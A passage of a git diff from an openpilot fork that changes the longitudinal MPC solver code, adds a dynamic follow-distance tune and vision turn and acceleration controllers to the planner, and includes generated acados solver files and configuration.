long_acados_sim_free(sim_solver_capsule *capsule); +ACADOS_SYMBOL_EXPORT int long_acados_sim_update_params(sim_solver_capsule *capsule, double *value, int np); + +ACADOS_SYMBOL_EXPORT sim_config * long_acados_get_sim_config(sim_solver_capsule *capsule); +ACADOS_SYMBOL_EXPORT sim_in * long_acados_get_sim_in(sim_solver_capsule *capsule); +ACADOS_SYMBOL_EXPORT sim_out * long_acados_get_sim_out(sim_solver_capsule *capsule); +ACADOS_SYMBOL_EXPORT void * long_acados_get_sim_dims(sim_solver_capsule *capsule); +ACADOS_SYMBOL_EXPORT sim_opts * long_acados_get_sim_opts(sim_solver_capsule *capsule); +ACADOS_SYMBOL_EXPORT sim_solver * long_acados_get_sim_solver(sim_solver_capsule *capsule); + + +ACADOS_SYMBOL_EXPORT sim_solver_capsule * long_acados_sim_solver_create_capsule(void); +ACADOS_SYMBOL_EXPORT int long_acados_sim_solver_free_capsule(sim_solver_capsule *capsule); + +#ifdef __cplusplus +} +#endif + +#endif // ACADOS_SIM_long_H_ diff --git a/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/c_generated_code/acados_solver_long.h b/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/c_generated_code/acados_solver_long.h index afc630825..8bd6f0929 100644 --- a/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/c_generated_code/acados_solver_long.h +++ b/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/c_generated_code/acados_solver_long.h @@ -42,7 +42,7 @@ #define LONG_NX 3 #define LONG_NZ 0 #define LONG_NU 1 -#define LONG_NP 6 +#define LONG_NP 5 #define LONG_NBX 0 #define LONG_NBX0 3 #define LONG_NBU 0 diff --git a/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/c_generated_code/libacados_ocp_solver_long.so b/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/c_generated_code/libacados_ocp_solver_long.so index 0d5ddf608..3cb586126 100755 Binary files a/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/c_generated_code/libacados_ocp_solver_long.so and b/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/c_generated_code/libacados_ocp_solver_long.so differ diff --git a/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/c_generated_code/make_sfun_long.m b/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/c_generated_code/make_sfun_long.m new file mode 100644 index 000000000..d5a8463cc --- /dev/null +++ b/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/c_generated_code/make_sfun_long.m @@ -0,0 +1,128 @@ +% +% Copyright 2019 Gianluca Frison, Dimitris Kouzoupis, Robin Verschueren, +% Andrea Zanelli, Niels van Duijkeren, Jonathan Frey, Tommaso Sartor, +% Branimir Novoselnik, Rien Quirynen, Rezart Qelibari, Dang Doan, +% Jonas Koenemann, Yutao Chen, Tobias Schöls, Jonas Schlagenhauf, Moritz Diehl +% +% This file is part of acados. +% +% The 2-Clause BSD License +% +% Redistribution and use in source and binary forms, with or without +% modification, are permitted provided that the following conditions are met: +% +% 1. Redistributions of source code must retain the above copyright notice, +% this list of conditions and the following disclaimer. +% +% 2. Redistributions in binary form must reproduce the above copyright notice, +% this list of conditions and the following disclaimer in the documentation +% and/or other materials provided with the distribution. +% +% THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +% AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +% IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +% ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE +% LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +% CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +% SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +% INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +% CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +% ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +% POSSIBILITY OF SUCH DAMAGE.; +% + +SOURCES = { ... + 'long_model/long_expl_ode_fun.c', ... + 'long_model/long_expl_vde_forw.c',... + 'long_cost/long_cost_y_0_fun.c',... + 'long_cost/long_cost_y_0_fun_jac_ut_xt.c',... + 'long_cost/long_cost_y_0_hess.c',... + 'long_cost/long_cost_y_fun.c',... + 'long_cost/long_cost_y_fun_jac_ut_xt.c',... + 'long_cost/long_cost_y_hess.c',... + 'long_cost/long_cost_y_e_fun.c',... + 'long_cost/long_cost_y_e_fun_jac_ut_xt.c',... + 'long_cost/long_cost_y_e_hess.c',... + 'long_constraints/long_constr_h_fun.c', ... + 'long_constraints/long_constr_h_fun_jac_uxt_zt_hess.c', ... + 'long_constraints/long_constr_h_fun_jac_uxt_zt.c', ... + 'acados_solver_sfunction_long.c', ... + 'acados_solver_long.c' + }; + +INC_PATH = '/data/openpilot/third_party/acados/include'; + +INCS = {['-I', fullfile(INC_PATH, 'blasfeo', 'include')], ... + ['-I', fullfile(INC_PATH, 'hpipm', 'include')], ... + ['-I', fullfile(INC_PATH, 'acados')], ... + ['-I', fullfile(INC_PATH)]}; + + + +CFLAGS = 'CFLAGS=$CFLAGS'; +LDFLAGS = 'LDFLAGS=$LDFLAGS'; +COMPFLAGS = 'COMPFLAGS=$COMPFLAGS'; +COMPDEFINES = 'COMPDEFINES=$COMPDEFINES'; + + + +LIB_PATH = ['-L', fullfile('/data/openpilot/third_party/acados/lib')]; + +LIBS = {'-lacados', '-lhpipm', '-lblasfeo'}; + +% acados linking libraries and flags + + +mex('-v', '-O', CFLAGS, LDFLAGS, COMPFLAGS, COMPDEFINES, INCS{:}, ... + LIB_PATH, LIBS{:}, SOURCES{:}, ... + '-output', 'acados_solver_sfunction_long' ); + +fprintf( [ '\n\nSuccessfully created sfunction:\nacados_solver_sfunction_long', '.', ... + eval('mexext')] ); + + +%% print note on usage of s-function +fprintf('\n\nNote: Usage of Sfunction is as follows:\n') +input_note = 'Inputs are:\n'; +i_in = 1; +input_note = strcat(input_note, num2str(i_in), ') lbx_0 - lower bound on x for stage 0,',... + ' size [3]\n '); +i_in = i_in + 1; +input_note = strcat(input_note, num2str(i_in), ') ubx_0 - upper bound on x for stage 0,',... + ' size [3]\n '); +i_in = i_in + 1; +input_note = strcat(input_note, num2str(i_in), ') parameters - concatenated for all shooting nodes 0 to N+1,',... + ' size [78]\n '); +i_in = i_in + 1; +input_note = strcat(input_note, num2str(i_in), ') y_ref_0, size [6]\n '); +i_in = i_in + 1; +input_note = strcat(input_note, num2str(i_in), ') y_ref - concatenated for shooting nodes 1 to N-1,',... + ' size [66]\n '); +i_in = i_in + 1; +input_note = strcat(input_note, num2str(i_in), ') y_ref_e, size [5]\n '); +i_in = i_in + 1; +input_note = strcat(input_note, num2str(i_in), ') lh, size [4]\n '); +i_in = i_in + 1; +input_note = strcat(input_note, num2str(i_in), ') uh, size [4]\n '); +i_in = i_in + 1; + +fprintf(input_note) + +disp(' ') + +output_note = 'Outputs are:\n'; +i_out = 0; +i_out = i_out + 1; +output_note = strcat(output_note, num2str(i_out), ') u0, control input at node 0, size [1]\n '); +i_out = i_out + 1; +output_note = strcat(output_note, num2str(i_out), ') acados solver status (0 = SUCCESS)\n '); +i_out = i_out + 1; +output_note = strcat(output_note, num2str(i_out), ') KKT residual\n '); +i_out = i_out + 1; +output_note = strcat(output_note, num2str(i_out), ') x1, state at node 1\n '); +i_out = i_out + 1; +output_note = strcat(output_note, num2str(i_out), ') CPU time\n '); +i_out = i_out + 1; +output_note = strcat(output_note, num2str(i_out), ') SQP iterations\n '); + +fprintf(output_note) diff --git a/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/long_mpc.py b/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/long_mpc.py index f3f6349f5..535db8024 100644 --- a/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/long_mpc.py +++ b/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/long_mpc.py @@ -6,7 +6,7 @@ from common.realtime import sec_since_boot from common.numpy_fast import clip, interp from system.swaglog import cloudlog from selfdrive.legacy_modeld.constants import index_function -from selfdrive.controls.lib.radar_helpers import _LEAD_ACCEL_TAU +from selfdrive.controls.radard import _LEAD_ACCEL_TAU if __name__ == '__main__': # generating code from third_party.acados.acados_template import AcadosModel, AcadosOcp, AcadosOcpSolver @@ -24,7 +24,7 @@ SOURCES = ['lead0', 'lead1', 'cruise'] X_DIM = 3 U_DIM = 1 -PARAM_DIM = 6 +PARAM_DIM = 5 COST_E_DIM = 5 COST_DIM = COST_E_DIM + 1 CONSTR_DIM = 4 @@ -45,12 +45,11 @@ ACADOS_SOLVER_TYPE = 'SQP_RTI' # much better convergence of the MPC with low iterations N = 12 MAX_T = 10.0 -T_IDXS_LST = [index_function(idx, max_val=MAX_T, max_idx=N+1) for idx in range(N+1)] +T_IDXS_LST = [index_function(idx, max_val=MAX_T, max_idx=N) for idx in range(N+1)] T_IDXS = np.array(T_IDXS_LST) T_DIFFS = np.diff(T_IDXS, prepend=[0.]) MIN_ACCEL = -3.5 -# T_FOLLOW = 1.45 COMFORT_BRAKE = 2.5 STOP_DISTANCE = 6.0 @@ -75,14 +74,29 @@ def get_T_FOLLOW(personality=log.LongitudinalPersonality.standard): else: raise NotImplementedError("Longitudinal personality not supported") +def get_dynamic_follow(v_ego, personality=log.LongitudinalPersonality.standard): + if personality==log.LongitudinalPersonality.relaxed: + x_vel = [0, 3.05, 3.61, 4.16, 7.14, 11.11] + y_dist = [1.75, 1.75, 1.77, 1.75, 1.8, 1.8] + elif personality==log.LongitudinalPersonality.standard: + x_vel = [0, 3.05, 3.61, 4.16, 7.14, 11.11] + y_dist = [1.5, 1.5, 1.51, 1.5, 1.5, 1.45] + elif personality==log.LongitudinalPersonality.aggressive: + x_vel = [0, 3.05, 3.61, 4.16, 7.14, 11.11] + y_dist = [1.12, 1.12, 1.13, 1.12, 1.22, 1.22] + else: + raise NotImplementedError("Dynamic Follow personality not supported") + return np.interp(v_ego, x_vel, y_dist) + def get_stopped_equivalence_factor(v_lead): return (v_lead**2) / (2 * COMFORT_BRAKE) -def get_safe_obstacle_distance(v_ego, t_follow, stop_distance): - return (v_ego**2) / (2 * COMFORT_BRAKE) + t_follow * v_ego + stop_distance +def get_safe_obstacle_distance(v_ego, t_follow): + return (v_ego**2) / (2 * COMFORT_BRAKE) + t_follow * v_ego + STOP_DISTANCE + +def desired_follow_distance(v_ego, v_lead, t_follow=get_T_FOLLOW()): + return get_safe_obstacle_distance(v_ego, t_follow) - get_stopped_equivalence_factor(v_lead) -def desired_follow_distance(v_ego, v_lead, t_follow=get_T_FOLLOW(), stop_distance=STOP_DISTANCE): - return get_safe_obstacle_distance(v_ego, t_follow, stop_distance) - get_stopped_equivalence_factor(v_lead) def gen_long_model(): model = AcadosModel() @@ -110,8 +124,7 @@ def gen_long_model(): x_obstacle = SX.sym('x_obstacle') prev_a = SX.sym('prev_a') lead_t_follow = SX.sym('lead_t_follow') - stop_distance = SX.sym('stop_distance') - model.p = vertcat(a_min, a_max, x_obstacle, prev_a, lead_t_follow, stop_distance) + model.p = vertcat(a_min, a_max, x_obstacle, prev_a, lead_t_follow) # dynamics model f_expl = vertcat(v_ego, a_ego, j_ego) @@ -146,12 +159,11 @@ def gen_long_ocp(): x_obstacle = ocp.model.p[2] prev_a = ocp.model.p[3] lead_t_follow = ocp.model.p[4] - stop_distance = ocp.model.p[5] ocp.cost.yref = np.zeros((COST_DIM, )) ocp.cost.yref_e = np.zeros((COST_E_DIM, )) - desired_dist_comfort = get_safe_obstacle_distance(v_ego, lead_t_follow, stop_distance) + desired_dist_comfort = get_safe_obstacle_distance(v_ego, lead_t_follow) # The main cost in normal operation is how close you are to the "desired" distance # from an obstacle at every timestep. This obstacle can be a lead car @@ -177,7 +189,7 @@ def gen_long_ocp(): x0 = np.zeros(X_DIM) ocp.constraints.x0 = x0 - ocp.parameter_values = np.array([-1.2, 1.2, 0.0, 0.0, get_T_FOLLOW(), STOP_DISTANCE]) + ocp.parameter_values = np.array([-1.2, 1.2, 0.0, 0.0, get_T_FOLLOW()]) # We put all constraint cost weights to 0 and only set them at runtime cost_weights = np.zeros(CONSTR_DIM) @@ -216,11 +228,14 @@ def gen_long_ocp(): class LongitudinalMpc: def __init__(self, e2e=False): self.e2e = e2e + self.solver = AcadosOcpSolverCython(MODEL_NAME, ACADOS_SOLVER_TYPE, N) self.reset() self.source = SOURCES[2] def reset(self): - self.solver = AcadosOcpSolverCython(MODEL_NAME, ACADOS_SOLVER_TYPE, N) + # self.solver = AcadosOcpSolverCython(MODEL_NAME, ACADOS_SOLVER_TYPE, N) + self.solver.reset() + # self.solver.options_set('print_level', 2) self.v_solution = np.zeros(N+1) self.a_solution = np.zeros(N+1) self.prev_a = np.array(self.a_solution) @@ -246,20 +261,20 @@ class LongitudinalMpc: self.x0 = np.zeros(X_DIM) self.set_weights() - def set_weights(self, prev_accel_constraint=True): + def set_weights(self, prev_accel_constraint=True, personality=log.LongitudinalPersonality.standard): if self.e2e: self.set_weights_for_xva_policy() self.params[:,0] = -10. self.params[:,1] = 10. self.params[:,2] = 1e5 self.params[:,4] = get_T_FOLLOW() - self.params[:,5] = STOP_DISTANCE else: - self.set_weights_for_lead_policy(prev_accel_constraint) + self.set_weights_for_lead_policy(prev_accel_constraint, personality) - def set_weights_for_lead_policy(self, prev_accel_constraint=True): + def set_weights_for_lead_policy(self, prev_accel_constraint, personality): + jerk_factor = get_jerk_factor(personality) a_change_cost = A_CHANGE_COST if prev_accel_constraint else 0 - W = np.asfortranarray(np.diag([X_EGO_OBSTACLE_COST, X_EGO_COST, V_EGO_COST, A_EGO_COST, a_change_cost, J_EGO_COST])) + W = np.asfortranarray(np.diag([X_EGO_OBSTACLE_COST, X_EGO_COST, V_EGO_COST, A_EGO_COST, jerk_factor * a_change_cost, jerk_factor * J_EGO_COST])) for i in range(N): # reduce the cost on (a-a_prev) later in the horizon. W[4,4] = a_change_cost * np.interp(T_IDXS[i], [0.0, 1.0, 2.0], [1.0, 1.0, 0.0]) @@ -329,9 +344,10 @@ class LongitudinalMpc: self.cruise_min_a = min_a self.cruise_max_a = max_a - def update(self, carstate, radarstate, v_cruise, personality=log.LongitudinalPersonality.standard, stop_distance=STOP_DISTANCE): - t_follow = get_T_FOLLOW(personality) + def update(self, carstate, radarstate, v_cruise, personality=log.LongitudinalPersonality.standard, use_df_tune=False): + # t_follow = get_T_FOLLOW(personality) v_ego = self.x0[1] + t_follow = get_T_FOLLOW(personality) if not use_df_tune else get_dynamic_follow(v_ego, personality) self.status = radarstate.leadOne.status or radarstate.leadTwo.status lead_xv_0 = self.process_lead(radarstate.leadOne) @@ -354,14 +370,13 @@ class LongitudinalMpc: v_cruise_clipped = np.clip(v_cruise * np.ones(N+1), v_lower, v_upper) - cruise_obstacle = np.cumsum(T_DIFFS * v_cruise_clipped) + get_safe_obstacle_distance(v_cruise_clipped, t_follow, stop_distance) + cruise_obstacle = np.cumsum(T_DIFFS * v_cruise_clipped) + get_safe_obstacle_distance(v_cruise_clipped, t_follow) x_obstacles = np.column_stack([lead_0_obstacle, lead_1_obstacle, cruise_obstacle]) self.source = SOURCES[np.argmin(x_obstacles[0])] self.params[:,2] = np.min(x_obstacles, axis=1) self.params[:,3] = np.copy(self.prev_a) self.params[:,4] = t_follow - self.params[:,5] = stop_distance self.run() if (np.any(lead_xv_0[:,0] - self.x_sol[:,0] < CRASH_DISTANCE) and @@ -371,6 +386,11 @@ class LongitudinalMpc: self.crash_cnt = 0 def update_with_xva(self, x, v, a): + # v, and a are in local frame, but x is wrt the x[0] position + # In >90degree turns, x goes to 0 (and may even be -ve) + # So, we use integral(v) + x[0] to obtain the forward-distance + xforward = ((v[1:] + v[:-1]) / 2) * (T_IDXS[1:] - T_IDXS[:-1]) + x = np.cumsum(np.insert(xforward, 0, x[0])) self.yref[:,1] = x self.yref[:,2] = v self.yref[:,3] = a @@ -381,6 +401,8 @@ class LongitudinalMpc: self.run() def run(self): + # t0 = sec_since_boot() + # reset = 0 for i in range(N+1): self.solver.set(i, 'p', self.params[i]) self.solver.constraints_set(0, "lbx", self.x0) @@ -415,9 +437,11 @@ class LongitudinalMpc: self.last_cloudlog_t = t cloudlog.warning(f"Long mpc reset, solution_status: {self.solution_status}") self.reset() + # reset = 1 + # print(f"long_mpc timings: total internal {self.solve_time:.2e}, external: {(sec_since_boot() - t0):.2e} qp {self.time_qp_solution:.2e}, lin {self.time_linearization:.2e} qp_iter {qp_iter}, reset {reset}") if __name__ == "__main__": ocp = gen_long_ocp() AcadosOcpSolver.generate(ocp, json_file=JSON_FILE) - # AcadosOcpSolver.build(ocp.code_export_directory, with_cython=True) \ No newline at end of file + # AcadosOcpSolver.build(ocp.code_export_directory, with_cython=True) diff --git a/selfdrive/controls/lib/legacy_longitudinal_planner.py b/selfdrive/controls/lib/legacy_longitudinal_planner.py index 24e83f775..233ebb141 100644 --- a/selfdrive/controls/lib/legacy_longitudinal_planner.py +++ b/selfdrive/controls/lib/legacy_longitudinal_planner.py @@ -15,6 +15,8 @@ from selfdrive.controls.lib.legacy_longitudinal_mpc_lib.long_mpc import Longitud from selfdrive.controls.lib.legacy_longitudinal_mpc_lib.long_mpc import T_IDXS as T_IDXS_MPC from selfdrive.controls.lib.drive_helpers import V_CRUISE_MAX, CONTROL_N from system.swaglog import cloudlog +from selfdrive.controls.lib.vision_turn_controller import VisionTurnController +from selfdrive.controls.lib.accel_controller import AccelController LON_MPC_STEP = 0.2 # first step is 0.2s AWARENESS_DECEL = -0.2 # car smoothly decel at .2m/s^2 when user is distracted @@ -46,6 +48,11 @@ def limit_accel_in_turns(v_ego, angle_steers, a_target, CP): class LongitudinalPlanner: def __init__(self, CP, init_v=0.0, init_a=0.0): + # mapd + self.cruise_source = 'cruise' + self.vision_turn_controller = VisionTurnController(CP) + self.accel_controller = AccelController() + self.CP = CP self.mpc = LongitudinalMpc() @@ -62,17 +69,24 @@ class LongitudinalPlanner: self.param_read_counter = 0 self.read_param() self.personality = log.LongitudinalPersonality.standard + self.dp_long_use_df_tune = False def read_param(self): - param_value = self.params.get('LongitudinalPersonality') - if param_value is not None: - self.personality = int(param_value) - else: + try: + self.personality = int(self.params.get('LongitudinalPersonality')) + self.dp_long_use_df_tune = self.params.get_bool('dp_long_use_df_tune') + except (ValueError, TypeError): self.personality = log.LongitudinalPersonality.standard + self.dp_long_use_df_tune = False def update(self, sm): if self.param_read_counter % 50 == 0: self.read_param() + + if self.param_read_counter % 300 == 0: + self.accel_controller.set_profile(self.params.get("dp_long_accel_profile", encoding='utf-8')) + self.vision_turn_controller.set_enabled(self.params.get_bool("dp_mapd_vision_turn_control")) + self.param_read_counter += 1 v_ego = sm['carState'].vEgo @@ -97,21 +111,29 @@ class LongitudinalPlanner: # Prevent divergence, smooth in current v_ego self.v_desired_filter.x = max(0.0, self.v_desired_filter.update(v_ego)) + # Get acceleration and active solutions for custom long mpc. + self.cruise_source, a_min_sol, v_cruise_sol = self.cruise_solutions(not reset_state, self.v_desired_filter.x, + self.a_desired, v_cruise, sm) + accel_limits = [A_CRUISE_MIN, get_max_accel(v_ego)] + + # dp - override accel using dp_long_accel_profile + accel_limits = self.accel_controller.get_accel_limits(v_ego, accel_limits) + accel_limits_turns = limit_accel_in_turns(v_ego, sm['carState'].steeringAngleDeg, accel_limits, self.CP) if force_slow_decel: # if required so, force a smooth deceleration accel_limits_turns[1] = min(accel_limits_turns[1], AWARENESS_DECEL) accel_limits_turns[0] = min(accel_limits_turns[0], accel_limits_turns[1]) + # clip limits, cannot init MPC outside of bounds - accel_limits_turns[0] = min(accel_limits_turns[0], self.a_desired + 0.05) + accel_limits_turns[0] = min(accel_limits_turns[0], self.a_desired + 0.05, a_min_sol) accel_limits_turns[1] = max(accel_limits_turns[1], self.a_desired - 0.05) - self.mpc.set_weights(prev_accel_constraint) + self.mpc.set_weights(prev_accel_constraint, personality=self.personality) self.mpc.set_accel_limits(accel_limits_turns[0], accel_limits_turns[1]) self.mpc.set_cur_state(self.v_desired_filter.x, self.a_desired) - stop_distance = STOP_DISTANCE if not self.CP.radarUnavailable else interp(sm['carState'].vEgo, [0., 2.78, 5.55, 22.], [3.7, 4., 5, STOP_DISTANCE]) - self.mpc.update(sm['carState'], sm['radarState'], v_cruise, personality=self.personality, stop_distance=stop_distance) + self.mpc.update(sm['carState'], sm['radarState'], v_cruise_sol, personality=self.personality, use_df_tune=self.dp_long_use_df_tune) self.v_desired_trajectory = np.interp(T_IDXS[:CONTROL_N], T_IDXS_MPC, self.mpc.v_solution) self.a_desired_trajectory = np.interp(T_IDXS[:CONTROL_N], T_IDXS_MPC, self.mpc.a_solution) @@ -148,3 +170,33 @@ class LongitudinalPlanner: longitudinalPlan.personality = self.personality pm.send('longitudinalPlan', plan_send) + + # dp - extension + plan_ext_send = messaging.new_message('longitudinalPlanExt') + + longitudinalPlanExt = plan_ext_send.longitudinalPlanExt + + longitudinalPlanExt.visionTurnControllerState = self.vision_turn_controller.state + longitudinalPlanExt.visionTurnSpeed = float(self.vision_turn_controller.v_turn) + + longitudinalPlanExt.dpE2EIsBlended = False + + longitudinalPlanExt.longitudinalPlanExtSource = self.mpc.source if self.mpc.source != 'cruise' else self.cruise_source + pm.send('longitudinalPlanExt', plan_ext_send) + + # mapd + def cruise_solutions(self, enabled, v_ego, a_ego, v_cruise, sm): + # Update controllers + self.vision_turn_controller.update(enabled, v_ego, a_ego, v_cruise, sm) + + # Pick solution with lowest velocity target. + a_solutions = {'cruise': float("inf")} + v_solutions = {'cruise': v_cruise} + + if self.vision_turn_controller.is_active: + a_solutions['turn'] = self.vision_turn_controller.a_target + v_solutions['turn'] = self.vision_turn_controller.v_turn + + source = min(v_solutions, key=v_solutions.get) + + return source, a_solutions[source], v_solutions[source] diff --git a/selfdrive/controls/lib/longitudinal_mpc_lib/acados_ocp_long.json b/selfdrive/controls/lib/longitudinal_mpc_lib/acados_ocp_long.json new file mode 100644 index 000000000..421864de1 --- /dev/null +++ b/selfdrive/controls/lib/longitudinal_mpc_lib/acados_ocp_long.json @@ -0,0 +1,628 @@ +{ + "acados_include_path": "/data/openpilot/third_party/acados/include", + "acados_lib_path": "/data/openpilot/third_party/acados/lib", + "code_export_directory": "/data/openpilot/selfdrive/controls/lib/longitudinal_mpc_lib/c_generated_code", + "constraints": { + "C": [], + "C_e": [], + "D": [], + "constr_type": "BGH", + "constr_type_e": "BGH", + "idxbu": [], + "idxbx": [], + "idxbx_0": [ + 0, + 1, + 2 + ], + "idxbx_e": [], + "idxbxe_0": [ + 0, + 1, + 2 + ], + "idxsbu": [], + "idxsbx": [], + "idxsbx_e": [], + "idxsg": [], + "idxsg_e": [], + "idxsh": [ + 0, + 1, + 2, + 3 + ], + "idxsh_e": [], + "idxsphi": [], + "idxsphi_e": [], + "lbu": [], + "lbx": [], + "lbx_0": [ + 0.0, + 0.0, + 0.0 + ], + "lbx_e": [], + "lg": [], + "lg_e": [], + "lh": [ + 0.0, + 0.0, + 0.0, + 0.0 + ], + "lh_e": [], + "lphi": [], + "lphi_e": [], + "lsbu": [], + "lsbx": [], + "lsbx_e": [], + "lsg": [], + "lsg_e": [], + "lsh": [ + 0.0, + 0.0, + 0.0, + 0.0 + ], + "lsh_e": [], + "lsphi": [], + "lsphi_e": [], + "ubu": [], + "ubx": [], + "ubx_0": [ + 0.0, + 0.0, + 0.0 + ], + "ubx_e": [], + "ug": [], + "ug_e": [], + "uh": [ + 10000.0, + 10000.0, + 10000.0, + 10000.0 + ], + "uh_e": [], + "uphi": [], + "uphi_e": [], + "usbu": [], + "usbx": [], + "usbx_e": [], + "usg": [], + "usg_e": [], + "ush": [ + 0.0, + 0.0, + 0.0, + 0.0 + ], + "ush_e": [], + "usphi": [], + "usphi_e": [] + }, + "cost": { + "Vu": [ + [ + 0.0 + ], + [ + 0.0 + ], + [ + 0.0 + ], + [ + 0.0 + ], + [ + 0.0 + ], + [ + 0.0 + ] + ], + "Vu_0": [ + [ + 0.0 + ], + [ + 0.0 + ], + [ + 0.0 + ], + [ + 0.0 + ], + [ + 0.0 + ], + [ + 0.0 + ] + ], + "Vx": [ + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ] + ], + "Vx_0": [ + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ] + ], + "Vx_e": [ + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ] + ], + "Vz": [], + "Vz_0": [], + "W": [ + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ] + ], + "W_0": [ + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ] + ], + "W_e": [ + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ] + ], + "Zl": [ + 0.0, + 0.0, + 0.0, + 0.0 + ], + "Zl_e": [], + "Zu": [ + 0.0, + 0.0, + 0.0, + 0.0 + ], + "Zu_e": [], + "cost_ext_fun_type": "casadi", + "cost_ext_fun_type_0": "casadi", + "cost_ext_fun_type_e": "casadi", + "cost_type": "NONLINEAR_LS", + "cost_type_0": "NONLINEAR_LS", + "cost_type_e": "NONLINEAR_LS", + "yref": [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + "yref_0": [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + "yref_e": [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + "zl": [ + 0.0, + 0.0, + 0.0, + 0.0 + ], + "zl_e": [], + "zu": [ + 0.0, + 0.0, + 0.0, + 0.0 + ], + "zu_e": [] + }, + "cython_include_dirs": "/data/data/com.termux/files/usr/lib/python3.8/site-packages/numpy/core/include", + "dims": { + "N": 12, + "nbu": 0, + "nbx": 0, + "nbx_0": 3, + "nbx_e": 0, + "nbxe_0": 3, + "ng": 0, + "ng_e": 0, + "nh": 4, + "nh_e": 0, + "np": 7, + "nphi": 0, + "nphi_e": 0, + "nr": 0, + "nr_e": 0, + "ns": 4, + "ns_e": 0, + "nsbu": 0, + "nsbx": 0, + "nsbx_e": 0, + "nsg": 0, + "nsg_e": 0, + "nsh": 4, + "nsh_e": 0, + "nsphi": 0, + "nsphi_e": 0, + "nu": 1, + "nx": 3, + "ny": 6, + "ny_0": 6, + "ny_e": 5, + "nz": 0 + }, + "model": { + "dyn_disc_fun": null, + "dyn_disc_fun_jac": null, + "dyn_disc_fun_jac_hess": null, + "dyn_ext_fun_type": "casadi", + "dyn_source_discrete": null, + "gnsf": { + "nontrivial_f_LO": 1, + "purely_linear": 0 + }, + "name": "long" + }, + "parameter_values": [ + -1.2, + 1.2, + 0.0, + 0.0, + 1.45, + 0.75, + 6.0 + ], + "problem_class": "OCP", + "simulink_opts": { + "inputs": { + "cost_W": 0, + "cost_W_0": 0, + "cost_W_e": 0, + "lbu": 1, + "lbx": 1, + "lbx_0": 1, + "lbx_e": 1, + "lg": 1, + "lh": 1, + "parameter_traj": 1, + "reset_solver": 0, + "u_init": 0, + "ubu": 1, + "ubx": 1, + "ubx_0": 1, + "ubx_e": 1, + "ug": 1, + "uh": 1, + "x_init": 0, + "y_ref": 1, + "y_ref_0": 1, + "y_ref_e": 1 + }, + "outputs": { + "CPU_time": 1, + "CPU_time_lin": 0, + "CPU_time_qp": 0, + "CPU_time_sim": 0, + "KKT_residual": 1, + "solver_status": 1, + "sqp_iter": 1, + "u0": 1, + "utraj": 0, + "x1": 1, + "xtraj": 0 + }, + "samplingtime": "t0" + }, + "solver_options": { + "Tsim": 0.06944444444444445, + "alpha_min": 0.05, + "alpha_reduction": 0.7, + "collocation_type": "GAUSS_LEGENDRE", + 